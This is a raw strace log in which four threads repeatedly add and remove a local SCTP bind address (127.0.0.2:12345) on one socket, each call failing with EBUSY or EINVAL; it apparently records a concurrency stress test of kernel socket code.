[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
